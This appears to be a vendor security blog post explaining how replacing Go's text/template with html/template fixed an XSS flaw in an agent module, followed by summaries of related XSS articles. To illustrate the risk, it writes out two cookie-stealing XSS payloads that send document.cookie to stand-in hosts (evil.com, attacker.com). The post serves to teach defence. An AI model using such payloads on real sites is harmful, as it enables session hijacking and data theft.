Back to Blog
low SEVERITY6 min read

From text/template to html/template: Closing the XSS Door in Go

A cross-site scripting (XSS) vulnerability was discovered and patched in a Go-based application where the `text/template` package was being used instead of the safer `html/template` package for rendering HTML content. This single-line fix — swapping one import — prevents user-controlled data from being injected as raw HTML, closing a potential attack vector for malicious script injection. While rated low severity, XSS vulnerabilities are among the most common and exploitable web security issues,

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 28, 2026•Reviewed June 3, 2026

Answer Summary

This vulnerability is a Cross-Site Scripting (XSS) flaw (CWE-79) in a Go application caused by using the `text/template` package instead of `html/template` for rendering HTML. The `text/template` package does not escape HTML special characters, so any user-controlled data passed to templates is rendered as raw HTML — allowing attackers to inject malicious scripts. The fix is a one-line change: replace `"text/template"` with `"html/template"` in the import block. Go's `html/template` package is context-aware and automatically escapes dangerous characters, neutralizing XSS payloads before they reach the browser.

Vulnerability at a Glance

cweCWE-79
fixReplace `import "text/template"` with `import "html/template"` in the affected Go source file
riskAttacker-controlled input rendered as raw HTML in the browser, enabling script injection
languageGo
root cause`text/template` used instead of `html/template` for HTML rendering — no automatic HTML escaping applied
vulnerabilityCross-Site Scripting (XSS) via unsafe Go template package

Introduction

Cross-site scripting (XSS) is one of those vulnerabilities that developers often underestimate — until it's too late. It consistently ranks in the OWASP Top 10 and is responsible for countless data breaches, session hijackings, and malware distributions every year. The good news? In Go, preventing a whole class of XSS vulnerabilities can be as simple as changing a single import.

This post walks through a recent security fix where swapping text/template for html/template in a Go application closed a potential XSS vulnerability. We'll explain what went wrong, how it was fixed, and what you can do to prevent similar issues in your own codebase.


What Is This Vulnerability?

At its core, this vulnerability falls under the category of unsafe template rendering — specifically, using a template engine that does not automatically escape HTML output when rendering user-controlled data.

In Go, the standard library ships with two template packages:

Package Purpose Auto-escapes HTML?
text/template General-purpose text rendering ❌ No
html/template HTML document rendering ✅ Yes

The difference seems subtle, but it's critically important. When you render user-supplied input using text/template, that data is inserted as-is into the output. If a user submits something like:

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

...and your template renders it without escaping, that script tag ends up in the HTML response — and the browser happily executes it.


The Vulnerability Explained

Technical Details

The vulnerability was flagged in internal/llminternal/agent_transfer.go, where the code imported text/template to generate HTML output. Here's the problematic import:

// ❌ BEFORE — Unsafe: no automatic HTML escaping
import (
    "bytes"
    "fmt"
    "slices"
    "text/template"  // Does NOT escape HTML characters

    "google.golang.org/adk/agent"
    "google.golang.org/adk/internal/agent/parentmap"
)

When text/template renders a template, it treats all data as plain text — meaning special HTML characters like <, >, ", ', and & are passed through unchanged. If any of that data originates from user input (directly or indirectly), an attacker can craft input that breaks out of the intended text context and injects executable HTML or JavaScript.

How Could It Be Exploited?

Imagine a template like this:

tmpl := template.Must(template.New("response").Parse(`
    <div class="agent-response">
        <p>{{.UserInput}}</p>
    </div>
`))

With text/template, if UserInput contains:

Hello! <img src=x onerror="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))">

The output HTML would be:

<div class="agent-response">
    <p>Hello! <img src=x onerror="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))"></p>
</div>

The browser renders the broken image, triggers the onerror handler, and silently exfiltrates the user's cookies to an attacker-controlled server. The user sees nothing unusual.

Real-World Impact

Even though this vulnerability was rated low severity (likely due to the specific context and limited attack surface), XSS attacks can lead to:

  • 🍪 Session hijacking — stealing authentication cookies to impersonate users
  • 🔑 Credential theft — injecting fake login forms to capture passwords
  • 🦠 Malware distribution — redirecting users to exploit kits
  • 🕵️ Keylogging — capturing everything a user types on the page
  • 🎭 Defacement — altering the visible content of a page

In an LLM/agent context (as suggested by the file path llminternal/agent_transfer.go), XSS could be particularly dangerous if AI-generated responses or external data sources are rendered in a web UI without proper sanitization.


The Fix

The fix was elegantly simple — a one-line change:

// ✅ AFTER — Safe: automatic context-aware HTML escaping
import (
    "bytes"
    "fmt"
    "slices"
    "html/template"  // Automatically escapes HTML, CSS, JS, and URL contexts

    "google.golang.org/adk/agent"
    "google.golang.org/adk/internal/agent/parentmap"
)

How Does html/template Solve the Problem?

The html/template package is a context-aware template engine. It understands the structure of HTML documents and automatically applies the correct escaping based on where the data is being inserted:

Context Example Escaping Applied
HTML element content <p>{{.Data}}</p> HTML entity encoding
HTML attribute <a href="{{.URL}}"> URL + HTML encoding
JavaScript string <script>var x = "{{.Val}}"</script> JS string escaping
CSS value <style>color: {{.Color}}</style> CSS escaping
URL parameter <a href="/path?q={{.Query}}"> URL encoding

With html/template, our malicious input from earlier would be rendered as:

<div class="agent-response">
    <p>Hello! &lt;img src=x onerror=&quot;fetch(&#39;https://attacker.com/exfil?data=&#39;+btoa(document.cookie))&quot;&gt;</p>
</div>

The browser displays the text literally — <img src=x onerror=...> — instead of interpreting it as HTML. Attack neutralized. ✅

The html/template API Is a Drop-In Replacement

One of the best things about this fix is that html/template is API-compatible with text/template. In most cases, you only need to change the import — no other code modifications required. The same template.New(), template.Must(), template.ParseFiles(), and tmpl.Execute() calls work identically.


Conclusion

This fix is a perfect example of how a single line of code can make or break your application's security. Swapping text/template for html/template costs nothing in terms of functionality or performance, but it buys you automatic, context-aware protection against an entire class of XSS vulnerabilities.

Key takeaways:

  • ✅ Always use html/template when generating HTML output in Go
  • ✅ Never trust user input — treat all external data as potentially malicious
  • ✅ Use static analysis tools like Semgrep and gosec in your CI/CD pipeline to catch these issues automatically
  • ✅ Layer your defenses — combine proper escaping with Content Security Policy headers
  • ✅ Small fixes matter — even "low severity" vulnerabilities deserve attention before they're chained with other issues

Security isn't always about complex exploits and zero-days. Sometimes, the most impactful improvements come from understanding your tools, using the right library for the job, and building automated checks that catch these mistakes before they ship.

Stay secure, and keep shipping safe code. 🔐

Prevention and further reading

Related Articles

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

critical

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.

high

Location Search XSS in index.html: Unsanitized Query Rendering

A location search feature in index.html rendered user-supplied search queries directly into the DOM without HTML entity encoding, allowing attackers to inject malicious JavaScript. The fix adds output encoding that converts dangerous characters (`&`, `<`, `>`, `"`, `'`) to their HTML entity equivalents before the query string reaches the page.